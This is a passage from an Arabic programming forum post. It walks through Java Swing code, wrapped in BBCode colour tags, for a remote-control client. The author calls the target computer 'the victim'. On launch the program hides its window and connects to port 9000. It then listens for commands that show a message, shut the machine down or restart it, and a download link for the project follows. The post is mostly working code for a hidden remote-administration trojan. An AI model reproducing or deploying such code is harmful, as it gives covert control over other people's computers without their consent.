[/COLOR][color=#0000bb]ListenTh lTh [/color][color=#007700]= new [/color][color=#0000bb]ListenTh[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]lTh[/color][color=#007700].[/color][color=#0000bb]start[/color][COLOR=#007700]();  
[/COLOR][/COLOR]


كود :
[COLOR=#000000][COLOR=#0000bb]
       [/COLOR][color=#007700]public static [/color][color=#0000bb]void main[/color][color=#007700]([/color][color=#0000bb]String args[/color][COLOR=#007700][]) {
      
        [/COLOR][COLOR=#ff8000]//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
        /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
         * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
         */
        [/COLOR][COLOR=#007700]try {
            for ([/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]UIManager[/color][color=#007700].[/color][color=#0000bb]LookAndFeelInfo info [/color][color=#007700]: [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]UIManager[/color][color=#007700].[/color][color=#0000bb]getInstalledLookAndFeels[/color][COLOR=#007700]()) {
                if ([/COLOR][color=#dd0000]"Nimbus"[/color][color=#007700].[/color][color=#0000bb]equals[/color][color=#007700]([/color][color=#0000bb]info[/color][color=#007700].[/color][color=#0000bb]getName[/color][COLOR=#007700]())) {
                    [/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]UIManager[/color][color=#007700].[/color][color=#0000bb]setLookAndFeel[/color][color=#007700]([/color][color=#0000bb]info[/color][color=#007700].[/color][color=#0000bb]getClassName[/color][COLOR=#007700]());
                    break;
                }
            }
        } catch ([/COLOR][color=#0000bb]ClassNotFoundException ex[/color][COLOR=#007700]) {
            [/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Logger[/color][color=#007700].[/color][color=#0000bb]getLogger[/color][color=#007700]([/color][color=#0000bb]Frame[/color][color=#007700].class.[/color][color=#0000bb]getName[/color][color=#007700]()).[/color][color=#0000bb]log[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Level[/color][color=#007700].[/color][color=#0000bb]SEVERE[/color][color=#007700], [/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]ex[/color][COLOR=#007700]);
        } catch ([/COLOR][color=#0000bb]InstantiationException ex[/color][COLOR=#007700]) {
            [/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Logger[/color][color=#007700].[/color][color=#0000bb]getLogger[/color][color=#007700]([/color][color=#0000bb]Frame[/color][color=#007700].class.[/color][color=#0000bb]getName[/color][color=#007700]()).[/color][color=#0000bb]log[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Level[/color][color=#007700].[/color][color=#0000bb]SEVERE[/color][color=#007700], [/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]ex[/color][COLOR=#007700]);
        } catch ([/COLOR][color=#0000bb]IllegalAccessException ex[/color][COLOR=#007700]) {
            [/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Logger[/color][color=#007700].[/color][color=#0000bb]getLogger[/color][color=#007700]([/color][color=#0000bb]Frame[/color][color=#007700].class.[/color][color=#0000bb]getName[/color][color=#007700]()).[/color][color=#0000bb]log[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Level[/color][color=#007700].[/color][color=#0000bb]SEVERE[/color][color=#007700], [/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]ex[/color][COLOR=#007700]);
        } catch ([/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]UnsupportedLookAndFeelException ex[/color][COLOR=#007700]) {
            [/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Logger[/color][color=#007700].[/color][color=#0000bb]getLogger[/color][color=#007700]([/color][color=#0000bb]Frame[/color][color=#007700].class.[/color][color=#0000bb]getName[/color][color=#007700]()).[/color][color=#0000bb]log[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Level[/color][color=#007700].[/color][color=#0000bb]SEVERE[/color][color=#007700], [/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]ex[/color][COLOR=#007700]);
        }
        [/COLOR][COLOR=#ff8000]//</editor-fold>

      
        [/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]EventQueue[/color][color=#007700].[/color][color=#0000bb]invokeLater[/color][color=#007700](new [/color][color=#0000bb]Runnable[/color][COLOR=#007700]() {

            public [/COLOR][color=#0000bb]void run[/color][COLOR=#007700]() {
                new [/COLOR][color=#0000bb]Frame[/color][color=#007700]().[/color][color=#0000bb]setVisible[/color][color=#007700]([/color][color=#0000bb]true[/color][COLOR=#007700]);
            }
        });
    }
    [/COLOR][COLOR=#ff8000]// Variables declaration - do not modify                    
    // End of variables declaration                  
[/COLOR][COLOR=#007700]}  
[/COLOR][/COLOR]

المتغيرات ..
كود :
[color=#000000][COLOR=#0000bb] Socket soc[/color][COLOR=#007700];
  [/COLOR][color=#0000bb]DataInputStream in[/color][COLOR=#007700];
  [/COLOR][color=#0000bb]PrintStream out[/color][COLOR=#007700];  
[/COLOR][/COLOR]
المتغير soc لنحدد من خلاله آي بي الاتصال + رقم المنفذ ...
in , out لتهيئة عملية القرائة و الكتابة عبر الشبكة ..

كود :
[color=#000000][COLOR=#007700]public class [/color][color=#0000bb]ConnectTh [/color][color=#007700]extends [/color][color=#0000bb]Thread[/color][COLOR=#007700]{
    public [/COLOR][color=#0000bb]void run[/color][COLOR=#007700](){
        try{
            [/COLOR][color=#0000bb]soc [/color][color=#007700]= new [/color][color=#0000bb]Socket[/color][color=#007700]([/color][color=#dd0000]"127.0.0.1"[/color][color=#007700],[/color][color=#0000bb]9000[/color][COLOR=#007700]);
            [/COLOR][color=#0000bb]in [/color][color=#007700]= new [/color][color=#0000bb]DataInputStream[/color][color=#007700]([/color][color=#0000bb]soc[/color][color=#007700].[/color][color=#0000bb]getInputStream[/color][COLOR=#007700]());
            [/COLOR][color=#0000bb]out [/color][color=#007700]= new [/color][color=#0000bb]PrintStream[/color][color=#007700]([/color][color=#0000bb]soc[/color][color=#007700].[/color][color=#0000bb]getOutputStream[/color][COLOR=#007700]());
        }catch([/COLOR][color=#0000bb]Exception e[/color][COLOR=#007700]){}
        }
    }  
[/COLOR][/COLOR]

هذا الكلاس لفتح اتصال دائم مع جهاز العميل من خلال رقم الآي بي و رقم المنفذ من خلال الاسناد للمتغير soc ..

كود :
[color=#000000][COLOR=#007700]public class [/color][color=#0000bb]ListenTh [/color][color=#007700]extends [/color][color=#0000bb]Thread[/color][COLOR=#007700]{
    public [/COLOR][color=#0000bb]void run[/color][COLOR=#007700](){
        while ([/COLOR][color=#0000bb]true[/color][COLOR=#007700]){
            try{
                if([/COLOR][color=#0000bb]in[/color][color=#007700].[/color][color=#0000bb]readLine[/color][color=#007700]().[/color][color=#0000bb]length[/color][color=#007700]()>[/color][color=#0000bb]1[/color][COLOR=#007700])
                    [/COLOR][color=#0000bb]NewJob[/color][color=#007700]([/color][color=#0000bb]in[/color][color=#007700].[/color][color=#0000bb]readLine[/color][COLOR=#007700]());
            }catch ([/COLOR][color=#0000bb]Exception e[/color][COLOR=#007700]){}
            }
        }
    }  
[/COLOR][/COLOR]

هذا الكلاس يقوم باستقبال المعلومات عبر الشبكة الي جهاز الضحية ..من خلال الدالة run و هي المسئولة عن تشغيل جميع الفئات في المشروع ..
و قمنا بعمل حلقة بحيث طالما ال Thread الخاص بالكلاس يعمل فقم بتنفيذ عملية قرائة الرسائل عبر الشبكة .. من خلال الدالة NewJob و التي وظيفتها قرائة النصوص المرسلة الي المتغير in ..

كود :
[color=#000000][COLOR=#007700]public [/color][color=#0000bb]void NewJob[/color][color=#007700]([/color][color=#0000bb]String m[/color][COLOR=#007700]){
    if ([/COLOR][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]startsWith[/color][color=#007700]([/color][color=#dd0000]"Message - "[/color][COLOR=#007700])){
        [/COLOR][color=#0000bb]String x [/color][color=#007700]= [/color][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]substring[/color][color=#007700]([/color][color=#0000bb]10[/color][COLOR=#007700]);
        [/COLOR][color=#0000bb]JOptionPane[/color][color=#007700].[/color][color=#0000bb]showMessageDialog[/color][color=#007700]([/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]x[/color][COLOR=#007700]);
       }else if ([/COLOR][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]contains[/color][color=#007700]([/color][color=#dd0000]"TurnOff"[/color][COLOR=#007700])){
         [/COLOR][color=#0000bb]shutDown[/color][COLOR=#007700]();  
    }else if ([/COLOR][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]contains[/color][color=#007700]([/color][color=#dd0000]"Restart"[/color][COLOR=#007700])){
[/COLOR][color=#0000bb]restart[/color][COLOR=#007700]();
    }
}  
[/COLOR][/COLOR]

تقوم هذه الدالة باستقبال المتغيرات النصية و التي تحتوي علي اوامر مرسلة من خلال الشبكة ..
فان كا المتغير m يبدأ بجملة Message - فمضمون البيانات المرسلة هي رسالة نصية فقط و ليس امر اعادة تشغيل او اغلاق النظام ..
اما ان كانت ألرسالة تحتوي علي كلمات "TurnOff" فانه امر صريح باغلاق جهاز الضحية و هكذا الحال مع "Restart" ..

كود :
[color=#000000][COLOR=#007700]private [/color][color=#0000bb]void formWindowOpened[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]WindowEvent evt[/color][COLOR=#007700]) {                                  
[/COLOR][color=#0000bb]this[/color][color=#007700].[/color][color=#0000bb]hide[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]ConnectTh cTh [/color][color=#007700]= new [/color][color=#0000bb]ConnectTh[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]cTh[/color][color=#007700].[/color][color=#0000bb]start[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]ListenTh lTh [/color][color=#007700]= new [/color][color=#0000bb]ListenTh[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]lTh[/color][color=#007700].[/color][color=#0000bb]start[/color][COLOR=#007700]();
}  
[/COLOR][/COLOR]

في حدث فتح الفورم يتم الآتي ..
1 _ اخفاء الفورم
2 _ متغير من نوع كلاس يبحث عن الآي بي من خلال رقم المنفذ و قمنا بمساواة قيمتة مع الكلاس ConnectTh ..
3 _ امر ببدئ عمل الكلاس السابق ..
4 _ متغير lTh من نوع كلاس و هو المسئول عن قرائة الرسائل المرسلة الي جهاز الضحية من خلال مراقبة المنفذ 9000 ..

لا تنسي هذه الاكواد و هي لاعادة التشغيل و الاغلاق ...

كود :
[color=#000000][COLOR=#007700]public [/color][color=#0000bb]void shutDown[/color][COLOR=#007700]() {
    try {
        [/COLOR][COLOR=#0000bb]Runtime
            [/COLOR][color=#007700].[/color][color=#0000bb]getRuntime[/color][COLOR=#007700]()
            .[/COLOR][color=#0000bb]exec[/color][COLOR=#007700](
                           [/COLOR][color=#dd0000]"shutdown -t -t 10 -c \"Message telling shutdown has initiliazed. To stop the shutdown.\""[/color][COLOR=#007700]);
    } catch (final [/COLOR][color=#0000bb]IOException e[/color][COLOR=#007700]) {
        [/COLOR][color=#0000bb]e[/color][color=#007700].[/color][color=#0000bb]printStackTrace[/color][COLOR=#007700]();
    }
}

public [/COLOR][color=#0000bb]void restart[/color][COLOR=#007700]() {
    try {
        [/COLOR][COLOR=#0000bb]Runtime
            [/COLOR][color=#007700].[/color][color=#0000bb]getRuntime[/color][COLOR=#007700]()
            .[/COLOR][color=#0000bb]exec[/color][COLOR=#007700](
                           [/COLOR][color=#dd0000]"shutdown -r -t 10 -c \"Message telling shutdown has initiliazed. To stop the shutdown.\""[/color][COLOR=#007700]);
    } catch (final [/COLOR][color=#0000bb]IOException e[/color][COLOR=#007700]) {
        [/COLOR][color=#0000bb]e[/color][color=#007700].[/color][color=#0000bb]printStackTrace[/color][COLOR=#007700]();
    }
}  
[/COLOR][/COLOR]

رابط تحميل المشروع :
http://vb4arb.com/vb/uploaded/18_01349595652.zip

السلام عليكم ورحمة الله ..
}}}}
تم الشكر بواسطة:


المواضيع المحتمل أن تكون متشابهة .
الموضوع : الكاتب الردود : المشاهدات : آخر رد
  هيا بنا نبدأ مع لغة الجافا ... Java أسامة أحمد 2 1,263 02-06-16, 02:51 PM
آخر رد: CLARO
  الاتصال عن بعد من خلال الجافا .. Chat أسامة أحمد 3 2,112 02-06-16, 02:50 PM
آخر رد: CLARO
  مكتبات الجافا مفتوحة المصدر !! أسامة أحمد 0 878 15-09-12, 03:02 PM
آخر رد: أسامة أحمد

التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم